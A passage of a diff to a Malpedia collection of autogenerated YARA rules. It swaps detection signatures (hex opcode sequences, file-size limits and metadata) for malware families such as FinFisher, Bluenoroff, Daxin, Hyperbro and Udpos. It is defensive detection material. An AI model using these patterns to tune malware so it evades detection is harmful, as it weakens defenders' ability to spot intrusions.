"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ralord_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "7cacc14b2d0dfaf54710df19550a1288a5ab7f5eb6146a6937a043c66ae24b0f" + logic_hash = "0ae32be56308293e8dfe3d78f9cfa5ac160d76644a256ed6b1f7ab39bfe6b399" score = 75 quality = 75 tags = "FILE" @@ -94567,32 +94731,32 @@ rule MALPEDIA_Win_Highnote_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3c7b bc9e36398f 8027e9 82ad42476080cd e009 } - $sequence_1 = { 47 365e 3007 7bae 97 9d 884d13 } - $sequence_2 = { a8b9 a1???????? 9c 6857414608 d4dc 59 93 } - $sequence_3 = { 33c5 8945fc 8b4508 53 6808090000 8945e4 e8???????? } - $sequence_4 = { 4f 59 7def 889de81be9ec b96b0b724f 262415 3a1f } - $sequence_5 = { 0e ed 47 6908b79d84b8 6935????????3e1f20f8 4a d14529 } - $sequence_6 = { e76e a9a4fec7f3 1b90bff8ccdd b1e4 f7f4 } - $sequence_7 = { 0f85dc000000 b763 42 20ce e04b 2bea } - $sequence_8 = { 1cfe 5f 3d4b9c06b4 12a4c5ea7849d5 ba7ab47152 1c98 d24cdca8 } - $sequence_9 = { 3cff 145d 853e 235ee7 } + $sequence_0 = { 7473 66813e4250 488d05d0a30100 7465 66813e5246 488d05c1a30100 7457 } + $sequence_1 = { 490b8818080000 756c 4c89c1 4889c6 e8???????? 4889f0 eb5c } + $sequence_2 = { 4929d0 0f82c9000000 4939fc 0f87d2000000 4c01f2 4889f1 e8???????? } + $sequence_3 = { 4801f0 4829d0 4839f0 0f83bb020000 4d8d7b01 410fb60406 4138040e } + $sequence_4 = { 48837d2000 7406 807d2f00 7409 4883c428 5b 5f } + $sequence_5 = { 752a 488b4e20 488b4628 488d15522b0100 41b801000000 ff5018 89c1 } + $sequence_6 = { 0f80de010000 4839fa 7550 4c8b4dd0 4c89c8 48f7d8 0f80c9010000 } + $sequence_7 = { 4889f1 eb27 89442430 488d0551850200 4889442420 488d15a0850200 488d4c2440 } + $sequence_8 = { 488d0daf640100 ba10000000 e8???????? 41b601 84c0 0f85b7000000 48c70600000000 } + $sequence_9 = { 400f90c6 430fb6141a 83c2d0 83fa09 0f87aa090000 } condition: - 7 of them and filesize < 321536 + 7 of them and filesize < 798720 } -rule MALPEDIA_Win_Finfisher_Auto : FILE +rule MALPEDIA_Win_Wm_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3bd8079e-f604-51ea-b8f2-fef52df0002f" + id = "c6756856-697a-5678-ac68-3f5e48855d20" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.finfisher_auto.yar#L1-L140" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wm_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wm_rat_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "36bd2bd78748a7bd0a2049fe313cd0daa82b47af68134d330004d325ff7392ca" + logic_hash = "17d23eab1cdfe83be57cb83b91146c56a89d3518780617b00510aa5e646a5ec0" score = 75 quality = 75 tags = "FILE" @@ -94606,36 +94770,32 @@ rule MALPEDIA_Win_Finfisher_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 56 8d85ccf9ffff 50 } - $sequence_1 = { 68???????? 6804010000 8d85ccf9ffff 50 } - $sequence_2 = { 8d85bcf7ffff 50 6a01 56 56 } - $sequence_3 = { 0f855b040000 8b85b0f7ffff 8b400c 8b8db8f7ffff 8908 89bda0f7ffff } - $sequence_4 = { 6a04 56 ff15???????? 8bd8 3bdf 7561 } - $sequence_5 = { e8???????? b982000000 8bf7 8dbddcfdffff f3a5 } - $sequence_6 = { 48 7526 8b4508 8b4028 } - $sequence_7 = { 56 53 50 ff15???????? eb05 } - $sequence_8 = { 8d45f4 50 53 897508 e8???????? } - $sequence_9 = { 8bd8 ff15???????? 8845ff 897df8 } - $sequence_10 = { 8b7508 89b5ccfdffff 85f6 7508 } - $sequence_11 = { 8bd8 3bde 0f8583030000 66c78572f7ffff0401 } - $sequence_12 = { 6824020000 68???????? e8???????? 8b7508 } - $sequence_13 = { 897de4 56 e8???????? 50 } + $sequence_0 = { 89481c 894820 894824 6a00 b901000000 6a00 6689480c } + $sequence_1 = { 8d8c24e4110000 ff15???????? c684247c31020056 8b8424d4110000 8b4804 f6840cdc11000006 0f842c010000 } + $sequence_2 = { 83f8ff 0f8423070000 90 f684247402000010 0f8492020000 68fc070000 8d8c24f80b0000 } + $sequence_3 = { ff15???????? 33c9 6a30 51 8d9424aa100000 } + $sequence_4 = { 8b4c240c 6aff 8d542414 894608 } + $sequence_5 = { 83c404 6a64 ffd6 8b4c2414 51 e8???????? 83c404 } + $sequence_6 = { b804000000 2bc6 50 8d0c3e 51 52 } + $sequence_7 = { 50 8b4204 ffd0 c684245402000000 8b44241c 83c0f0 8d480c } + $sequence_8 = { 84c0 0f84f4e9ffff 83ec1c 8bcc 89642434 68???????? ff15???????? } + $sequence_9 = { 3b01 743b 8b542428 8b4e14 2bd0 8d4c0a01 51 } condition: - 7 of them and filesize < 262144 + 7 of them and filesize < 258048 } -rule MALPEDIA_Win_Turnedup_Auto : FILE +rule MALPEDIA_Win_Bluenoroff_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f4a24578-5335-5053-b07f-943404877172" + id = "715350ff-965b-560c-8af6-f01ef8d9887d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.turnedup_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluenoroff" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bluenoroff_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "70af128b8d10ec8ac1a0ea6deea907b76cc81c6db7a8cb227ddf71385e7b13b6" + logic_hash = "09078eca5d74bcdca0f6c272495f67d2206bb2b723aa1a39684e4df83692420a" score = 75 quality = 75 tags = "FILE" @@ -94649,32 +94809,32 @@ rule MALPEDIA_Win_Turnedup_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a0d c741140f000000 c7411000000000 68???????? 8945a8 c60100 } - $sequence_1 = { 85db 7417 8d4df4 8bf3 } - $sequence_2 = { 7f0d 0fbed0 0fbec1 8d4a05 } - $sequence_3 = { c70600000000 c6460401 807e0530 0f8cf1000000 807e0400 7538 8b0e } - $sequence_4 = { 740f e8???????? 8b4dbc 8801 } - $sequence_5 = { 8d44244c 50 e8???????? dd542448 8b442434 } - $sequence_6 = { 7405 884305 eb06 c70300000000 c6430401 8a4b05 884dbb } - $sequence_7 = { ffd3 83ec1c 8bcc 6a0d c741140f000000 c7411000000000 68???????? } - $sequence_8 = { c60100 e8???????? c3 56 } - $sequence_9 = { 8945fc 8d45fc 50 8d4df0 e8???????? 68???????? } + $sequence_0 = { ff15???????? 33ff 53 ff15???????? 8b450c } + $sequence_1 = { 8bf0 83c404 85f6 7429 8b4508 8b5510 } + $sequence_2 = { 8bf8 85ff 7421 6a00 8d55fc 52 56 } + $sequence_3 = { b912010000 8bf3 f3a5 a1???????? 8b5004 83c410 8d7004 } + $sequence_4 = { 83c41c 83f801 750e 8d8dfcfffeff } + $sequence_5 = { 83feff 7433 8d4e01 51 6a40 ff15???????? } + $sequence_6 = { 51 52 8d85fcfffeff 68ffff0000 } + $sequence_7 = { 83c41c 8d95ecfffeff 33c9 52 } + $sequence_8 = { 7433 8d4e01 51 6a40 } + $sequence_9 = { 8d8dfcfffeff 51 68???????? eb23 83f802 } condition: - 7 of them and filesize < 892928 + 7 of them and filesize < 303104 } -rule MALPEDIA_Win_Lambert_Auto : FILE +rule MALPEDIA_Win_Webc2_Bolid_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "766677fc-20f5-5c4e-acc7-a5a40372da69" + id = "d7b8b0f8-fb67-56c4-b24d-dcdab9f7b909" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lambert_auto.yar#L1-L161" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_bolid" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_bolid_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "60e780dd4c006048bc0528824ae1f73ab836d6b104a44501df20cceb325dce70" + logic_hash = "a9749882fbe9a2a48ffae4420a547a6fbd11851e4362f65200b42858f5a2933e" score = 75 quality = 75 tags = "FILE" @@ -94688,38 +94848,32 @@ rule MALPEDIA_Win_Lambert_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4f 42 3b7d10 724d } - $sequence_1 = { 8b4d08 03481c 894de4 8b55f4 8b45e4 } - $sequence_2 = { 33ce 314de8 890a 894de4 } - $sequence_3 = { 7402 eb60 8b45fc 83c078 8945f0 8b4df0 } - $sequence_4 = { 85c0 741f 8b4df8 c1e90d 8b55f8 c1e213 0bca } - $sequence_5 = { 41 8801 41 e9???????? 6afc 2b4d10 8b5514 } - $sequence_6 = { 0f82a4000000 83fe06 0f822cffffff 8bc1 } - $sequence_7 = { 33ce 33d1 33da 8970f0 } - $sequence_8 = { 51 e8???????? 0fb7d0 0355f8 } - $sequence_9 = { 0bca 894df8 8b45fc 0fb708 51 e8???????? } - $sequence_10 = { 33c1 03c0 33c8 8bc1 c1e808 } - $sequence_11 = { 8945fc 8b4d0c 8b55fc 3b5118 } - $sequence_12 = { 2bc2 83f801 0f8208010000 803a00 } - $sequence_13 = { 4f 42 42 eb56 } - $sequence_14 = { 8b5508 031481 8955f4 8b45f4 50 e8???????? } - $sequence_15 = { f7d2 8b45f4 335004 8955f8 8b4df4 } + $sequence_0 = { 7f31 8b8bc8000000 8b93c4000000 6a00 41 6a00 } + $sequence_1 = { e8???????? 84c0 7427 8bcf 8b7b70 8d436c 8bd1 } + $sequence_2 = { 8b55ec 8d8d54ffffff 51 52 50 8d45a0 50 } + $sequence_3 = { e8???????? 8bd8 3bde 0f8e0c060000 8a451b 56 8d8d58ffffff } + $sequence_4 = { 83c40c 8b15???????? 8d4de4 52 } + $sequence_5 = { 8b4dec 8b75e4 03c1 894508 } + $sequence_6 = { fec8 8801 eb09 51 e8???????? 83c404 8b7db8 } + $sequence_7 = { 50 c3 6a02 e8???????? 59 c3 } + $sequence_8 = { 8a01 4a 0fb6f0 f6860132410004 8807 7413 47 } + $sequence_9 = { c68424240200000d e8???????? 83ec10 8d9424a0000000 8bcc 89a424c4000000 52 } condition: - 7 of them and filesize < 1205248 + 7 of them and filesize < 163840 } -rule MALPEDIA_Win_Suncrypt_Auto : FILE +rule MALPEDIA_Win_Goopic_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7f081e6a-91fb-536b-b660-2da418a7ac6f" + id = "3dc4c257-a5c8-5a4d-ab14-c83ca28cb2ec" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.suncrypt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.suncrypt_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.goopic_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "25c1a2f4bf5a2bd511d08d2068ef5b4858a377d650c7c729810ab075898356ca" + logic_hash = "44b46e1ba9017c5fbd258e5f68a3335c35049c2540cd88d9310017d21c5cf5d5" score = 75 quality = 75 tags = "FILE" @@ -94733,32 +94887,32 @@ rule MALPEDIA_Win_Suncrypt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33d2 c68518ffffff6e c68519ffffff64 c6851affffff13 c6851bffffff2d c6851cffffff28 c6851dffffff28 } - $sequence_1 = { 0fbec0 33c1 884415c8 42 83fa1c 72e9 8d4dc8 } - $sequence_2 = { 6a00 6a00 6a00 6a00 ff35???????? be00310884 c745e000010000 } - $sequence_3 = { 0405 83f031 8845f9 8b45f0 0406 83f02e 8845fa } - $sequence_4 = { 8bec 8a5508 80fa2c 7446 a0???????? b9???????? 84c0 } - $sequence_5 = { ff15???????? 8bf0 85f6 742a 83feff 7425 8d45e8 } - $sequence_6 = { 8b7308 83c140 8b7da0 894df4 8b4df0 eb7e } - $sequence_7 = { 0f28dc 660ffe9df0fdffff 0f28c3 660fef45a0 0f28c8 660f72f00c 660f72d114 } - $sequence_8 = { 83fa11 72e8 ff7510 8d45ec 885dfd ff750c } - $sequence_9 = { 8bc3 85c9 7411 660f1f440000 803800 740b 47 } + $sequence_0 = { 89742414 ff15???????? 50 ff15???????? 85c0 7427 } + $sequence_1 = { 0f84c6000000 833d????????00 740d 8d85f0fdffff 50 } + $sequence_2 = { 85c0 7411 e8???????? ba01000000 } + $sequence_3 = { c785d0fdffff2c020000 ff15???????? 8bf0 8d85d0fdffff 50 56 89b5ccfdffff } + $sequence_4 = { 58 6bc000 c7803430400002000000 6a04 58 } + $sequence_5 = { 68???????? 6a01 6a00 68???????? ff15???????? 85c0 0f888e000000 } + $sequence_6 = { be00010000 33c0 66c787000100000000 8801 8d4901 40 663bc6 } + $sequence_7 = { ffd7 e8???????? e8???????? 8bd6 } + $sequence_8 = { b9???????? e8???????? 83c404 8d85f8dfffff } + $sequence_9 = { c785c0fdffff305d4000 eb0a c785c0fdffff245d4000 8d85b4fdffff c785c4fdffff3c5d4000 50 } condition: - 7 of them and filesize < 172032 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Quan_Pin_Loader_Auto : FILE +rule MALPEDIA_Win_Hyperbro_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1fa8c8cd-f609-5225-baa7-0fa410d45d6c" + id = "0527accf-dc31-5cb1-be86-ae182f5b1e44" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quan_pin_loader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quan_pin_loader_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hyperbro_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "4f7da9c0c4a15d34fa1ce0c27eb780960020faa43be4d9d68fb3c3bdcd21f6fc" + logic_hash = "4b67c3c5bbc71bde556bbaa0da5f9d6d067d8c81b3b3ffbe7e62f8abebcb4ca9" score = 75 quality = 75 tags = "FILE" @@ -94772,32 +94926,32 @@ rule MALPEDIA_Win_Quan_Pin_Loader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4d08 e8???????? 85c0 750f 0fb703 6683f80d 7406 } - $sequence_1 = { 83630800 488d0524c10400 488903 eb3a 41b804000000 488d15d6ba0400 e8???????? } - $sequence_2 = { 4183f904 7410 4183f906 0f85c8fdffff 0fbaea0a eb0a 0fbaea08 } - $sequence_3 = { 84d2 7418 c6415401 d1e8 eb14 488d1524a80300 b806000000 } - $sequence_4 = { 4d8bc6 418bd7 488bcf e8???????? 8bf0 85c0 0f8850010000 } - $sequence_5 = { 488b5d60 488d4c2430 e8???????? 488d4c2420 e8???????? 4883eb20 } - $sequence_6 = { b904010000 660b0d???????? 66890d???????? 480fbae71e 7224 0fb7c5 ba0f000000 } - $sequence_7 = { 488b5008 488b4810 482bca 48c1f902 493bcd } - $sequence_8 = { 488bcb 0f2845e0 660f7f45e0 e8???????? e9???????? c745e805000000 488d0539ef0400 } - $sequence_9 = { 41b907000000 4c8bc3 8bd5 ff5018 8bf8 8b442478 } + $sequence_0 = { 51 e8???????? 8b5620 52 e8???????? 8b4614 50 } + $sequence_1 = { 83fe40 7e33 8b0f 51 e8???????? } + $sequence_2 = { 8a4b05 884f01 8b4308 83c410 50 8bc6 c7460840000000 } + $sequence_3 = { c70600000000 c7460400000000 8d5e0c e8???????? 83c404 } + $sequence_4 = { 0f8617feffff 8a17 8816 46 } + $sequence_5 = { 33ff 3bc7 7412 50 e8???????? 83c404 897e20 } + $sequence_6 = { 8b4614 8b1d???????? 83c404 3bc7 7406 50 ffd3 } + $sequence_7 = { 41 e9???????? 8b442410 8b6c2418 e9???????? 2b4c2428 8b44242c } + $sequence_8 = { 83c410 85ed 750e 8b7c2410 } + $sequence_9 = { 895c2430 895c2434 3bfb 7409 57 e8???????? 83c404 } condition: - 7 of them and filesize < 1711104 + 7 of them and filesize < 352256 } -rule MALPEDIA_Win_Webc2_Table_Auto : FILE +rule MALPEDIA_Win_Daxin_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "74911130-496c-59cd-b9b7-d073dda2a5a6" + id = "87cbb543-e190-5544-9083-2d59abd8b683" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_table" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_table_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daxin" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.daxin_auto.yar#L1-L148" license_url = "N/A" - logic_hash = "82557b5976335e4f1972b3218d4e36ee8e0264f2a148ef98566fdf5b62d6108c" + logic_hash = "e656f3948a2ac7b99eaa279f9e6a2040cdd5d22a79f30ee80aef3c1f7f763afa" score = 75 quality = 75 tags = "FILE" @@ -94811,34 +94965,39 @@ rule MALPEDIA_Win_Webc2_Table_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? b800100000 6a04 50 } - $sequence_1 = { 41 4e 75b7 8b45f8 be???????? 57 56 } - $sequence_2 = { e8???????? 85c0 59 7e1b 8b4c2404 } - $sequence_3 = { 0f8fdb000000 6860ea0000 ffd7 ff45f4 } - $sequence_4 = { c78548fdffff94000000 8d85e8feffff 50 8d85dcfbffff 50 e8???????? 59 } - $sequence_5 = { e8???????? 8b35???????? 8d8558ffffff 50 ff7508 ffd6 8bf8 } - $sequence_6 = { 50 8d85e4feffff 50 e8???????? 83c428 } - $sequence_7 = { 8bca 8dbd59ffffff f3ab 66ab aa 8bca 33c0 } - $sequence_8 = { ff15???????? ff7710 ff15???????? 83c410 50 ff15???????? } - $sequence_9 = { e8???????? 83c434 8d8548fdffff c78548fdffff9c000000 50 } + $sequence_0 = { 2bc2 d1f8 99 f7f9 } + $sequence_1 = { 418b5b3c 418b6b38 e8???????? 85db } + $sequence_2 = { 0fb7c0 0bc8 2b8bd0000000 85c9 0f8eec000000 } + $sequence_3 = { 488bf0 4885c0 0f8467ffffff 33d2 41b8e0000000 } + $sequence_4 = { 66f7d8 1bc0 f7d8 83c003 eb15 } + $sequence_5 = { 4533c0 498bcb e8???????? 668bd8 6641895b0a } + $sequence_6 = { 740a 8b02 23c1 23cf } + $sequence_7 = { 0f8cd8000000 ff15???????? 4c8b4f28 4533c0 884708 } + $sequence_8 = { b930000000 33c0 8bfd 66c74664ffff } + $sequence_9 = { 57 8908 894804 894808 8b15???????? } + $sequence_10 = { b930000000 33c0 8bfb 33f6 } + $sequence_11 = { 0f85d8000000 668b4702 663b442412 0f85c9000000 668b4f04 } + $sequence_12 = { 8b442412 668b4c2414 66894c2412 6689442414 } + $sequence_13 = { 03c7 894e04 8b4e1c 3bc1 c7462400000000 } + $sequence_14 = { 0bc1 8d0440 c1e003 8b88c4380f00 85c9 } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 3475456 } -rule MALPEDIA_Win_Mutabaha_Auto : FILE +rule MALPEDIA_Win_Broomstick_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f534e66a-bdb8-5a1d-bf5c-73ff5eac186f" + id = "1ab4b8f8-6d0d-5d71-8cc9-a6fff05006b5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mutabaha_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.broomstick" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.broomstick_auto.yar#L1-L284" license_url = "N/A" - logic_hash = "4a43ad552d1d544452880d565c27a595efcac7dc1e5e985992d3dce7571f7838" + logic_hash = "0c1a3ef9abdd4d0302256ec532496054e8db7eaa8ec35bdd017317b264a8cb67" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -94850,32 +95009,53 @@ rule MALPEDIA_Win_Mutabaha_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4610 c6040808 ff4610 8b4610 c6040100 e9???????? 8b4610 } - $sequence_1 = { eb18 2bf9 8d145501000000 2bc1 8bcb c1e905 2bd9 } - $sequence_2 = { 53 e8???????? 83c41c 85c0 0f8543050000 8b4320 8d55f0 } - $sequence_3 = { 68???????? ff15???????? 898530fdffff 85c0 0f8441010000 68???????? 8d8d6cfdffff } - $sequence_4 = { 56 8bf1 8d4de8 57 8bfa e8???????? 83781408 } - $sequence_5 = { 0fafce 3bc1 731b 8bf9 b900080000 2bce c1e905 } - $sequence_6 = { e8???????? c7465400000000 8bc6 8b4df4 64890d00000000 59 5e } - $sequence_7 = { c7856cfdffff07000000 66898558fdffff 8b8554fdffff c78568fdffff00000000 83f808 7213 40 } - $sequence_8 = { 8bf9 c745f82e000000 e8???????? 40 8bcf 50 8d45f8 } - $sequence_9 = { 8b8d40efffff 85c9 7414 8b11 8d851cefffff 3bc8 0f95c0 } + $sequence_0 = { 2bc2 83c002 99 83e203 03c2 } + $sequence_1 = { 03f0 56 e8???????? 8b45dc 83c40c c6040600 eb10 } + $sequence_2 = { 83c40c c6040600 eb10 c645dc00 ff75dc 51 8d4dc0 } + $sequence_3 = { c6400100 8808 eb13 ff75e8 } + $sequence_4 = { 51 50 51 8bce e8???????? 8b4dec } + $sequence_5 = { 83c408 33c0 c7467000000000 c7467407000000 66894660 } + $sequence_6 = { 8b45d4 8b75d0 2bc6 894ddc 51 52 } + $sequence_7 = { 80b9????????3f 76f3 2bc2 83c002 } + $sequence_8 = { 49898688150400 488d4c2428 ffd5 48b80b8b55f8b9616cd5 } + $sequence_9 = { ba01000000 488bcf ff15???????? ba32ac0600 488bcf ff15???????? } + $sequence_10 = { 488d4d38 e8???????? 0f57c0 0f114518 } + $sequence_11 = { 498986876a0300 4889f1 ba07000000 488b2d???????? } + $sequence_12 = { 49898687650300 488d4c2428 41ffd4 4889f1 } + $sequence_13 = { 4c2bc1 ba2c000000 e8???????? 488bc8 4885c0 } + $sequence_14 = { ba01000000 488bcf ff15???????? ba08000000 488bcf ff15???????? 48b8e01fcd305c98c076 } + $sequence_15 = { ba01000000 488bcf ff15???????? ba58000000 488bcf ff15???????? } + $sequence_16 = { ba01000000 488bcf ff15???????? ba3a867600 488bcf ff15???????? } + $sequence_17 = { ba01000000 488bcf ff15???????? ba0a000000 488bcf ff15???????? } + $sequence_18 = { ba01000000 488bcf ff15???????? ba5a000000 488bcf ff15???????? } + $sequence_19 = { 498986876b0300 488d4c2428 41ffd7 4d89fc } + $sequence_20 = { 49898688160400 b917d46400 41ffd4 4889c7 } + $sequence_21 = { 49898688320300 b9bc474300 41ffd4 4889c7 } + $sequence_22 = { 0f114540 4c896d50 4c896d58 4533c0 } + $sequence_23 = { 4c8d053e920100 488bc2 83e23f 48c1f806 488d0cd2 } + $sequence_24 = { ba01000000 488bcf ff15???????? ba31e7ca00 488bcf ff15???????? } + $sequence_25 = { 488d056cc10200 488907 488d057ac10200 0f104318 488b5c2430 } + $sequence_26 = { ba01000000 488bcf ff15???????? ba6ef90b00 488bcf ff15???????? } + $sequence_27 = { 49898688140400 4889f1 4889fa 4c8b3d???????? } + $sequence_28 = { 48c7457807000000 0f1006 0f114560 e9???????? } + $sequence_29 = { 498986876c0300 4889f9 4c8b3d???????? 41ffd7 } + $sequence_30 = { 498bc6 4d8bee 49c1fd06 4c896dc7 488d0d8f3afeff } condition: - 7 of them and filesize < 1220608 + 7 of them and filesize < 1567744 } -rule MALPEDIA_Win_Firechili_Auto : FILE +rule MALPEDIA_Win_Udpos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c4b311c4-f6ac-5e5a-9826-d5ef4ea0d836" + id = "c21182e3-9948-53fb-ba16-989de2eeeef7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.firechili" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.firechili_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.udpos_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "db458f5c2a3a8ef8f27139a55fa4a245c49e387f1da157602228dcf03106d70c" + logic_hash = "fe240fae257bb918a1862a5669b32e668e7cda4beef5a9f9bbf562c291941f24" score = 75 quality = 75 tags = "FILE" @@ -94889,34 +95069,34 @@ rule MALPEDIA_Win_Firechili_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb2d 488b4c2430 8b442440 894110 4533c9 } - $sequence_1 = { 4883ec20 488bda 488bf9 ba30000000 33c9 41b873747600 ff15???????? } - $sequence_2 = { 4c8d442430 488bcb 41ffd1 eb1b 4c8b05???????? eb23 } - $sequence_3 = { 4889bc2488000000 33ff c7450730000000 ba3f000f00 897d67 488d4d77 48897d77 } - $sequence_4 = { 4885d2 7509 4883e802 bb05000080 668938 } - $sequence_5 = { 0f8489000000 4885db 0f8480000000 488d5318 4032ff 4885d2 7462 } - $sequence_6 = { e8???????? 488d0d65370000 ff15???????? ff15???????? 33c0 4881c430020000 } - $sequence_7 = { 84c0 0f84ff000000 0fb77c2420 488b742428 8bc7 48d1e8 } - $sequence_8 = { 33ff b90d0000c0 4d85d2 0f45cf 7408 488bc2 492bc2 } - $sequence_9 = { 4889442420 488d55f7 ff15???????? 85c0 8bd8 0f49df } + $sequence_0 = { 83c414 8d55c4 52 ffd7 } + $sequence_1 = { 53 56 52 ffd7 } + $sequence_2 = { 83c408 3bf3 7ea8 8b5d08 2bde } + $sequence_3 = { 8985f4feffff 8985f8feffff 3905???????? 7e09 a1???????? 8b30 eb06 } + $sequence_4 = { 7510 c78598feffff01000000 8b9d98feffff 47 83fb01 75b4 85db } + $sequence_5 = { 8b8110020000 301408 8b9110020000 0fb6140a } + $sequence_6 = { 83c40c 57 6a02 ff15???????? 8d8dd0fdffff 8bf0 } + $sequence_7 = { 51 a3???????? e8???????? 83c40c 68ff000000 8d95fcfdffff 52 } + $sequence_8 = { 53 e8???????? 83c404 8b95e4fbffff 52 ff15???????? 5b } + $sequence_9 = { 83e60f 0fb65c35e8 0fb671fd 8858fd } condition: - 7 of them and filesize < 91136 + 7 of them and filesize < 163840 } -rule MALPEDIA_Win_Remcom_Auto : FILE +rule MALPEDIA_Win_Maktub_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "01102b96-17a1-5040-b86b-1c004c22e442" + id = "ecc73f32-ecbd-5318-a556-c2b45ed34c44" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remcom_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maktub_auto.yar#L1-L197" license_url = "N/A" - logic_hash = "6c8707261db4e6b23e09ce2152b2182b004699b6aaba00688b2722f030d121d2" + logic_hash = "ff16c7a452af8c5ebf57513ce479bd7fbd7433b4ce2d8fbd914a83844ba9c640" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -94928,32 +95108,43 @@ rule 